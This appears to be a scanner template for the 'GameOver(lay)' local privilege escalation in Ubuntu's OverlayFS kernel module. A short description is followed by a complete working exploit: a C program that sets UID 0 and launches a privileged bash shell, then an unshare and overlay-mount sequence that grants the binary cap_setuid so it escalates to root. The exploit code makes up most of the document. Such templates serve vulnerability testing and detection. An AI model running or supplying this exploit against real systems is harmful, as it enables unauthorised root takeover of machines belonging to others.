name:GameOver(lay) - Local Privilege Escalation in Ubuntu Kernel
author:princechaddha
severity:high
description:|
A local privilege escalation vulnerability has been discovered in the OverlayFS module of the Ubuntu kernel. This vulnerability could allow an attacker with local access to escalate their privileges, potentially gaining root-like access to the system.
echo '#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\nint main() {\n if (setuid(0) != 0) {\n fprintf(stderr, "\\x1b[31mFailed to set UID to 0.\\x1b[0m\\n");\n return 1;\n }\n\n printf("Entering \\x1b[36mprivileged\\x1b[0m shell...\\n");\n if (system("/bin/bash -p") == -1) {\n fprintf(stderr, "\\x1b[31mFailed to execute /bin/bash -p.\\x1b[0m\\n");\n return 1;\n }\n\n return 0;\n}' > test.c
gcc test.c -o test
unshare -rm sh -c "mkdir -p l u w m && cp test l/ && setcap cap_setuid+eip l/test && mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/test && u/test && id;"
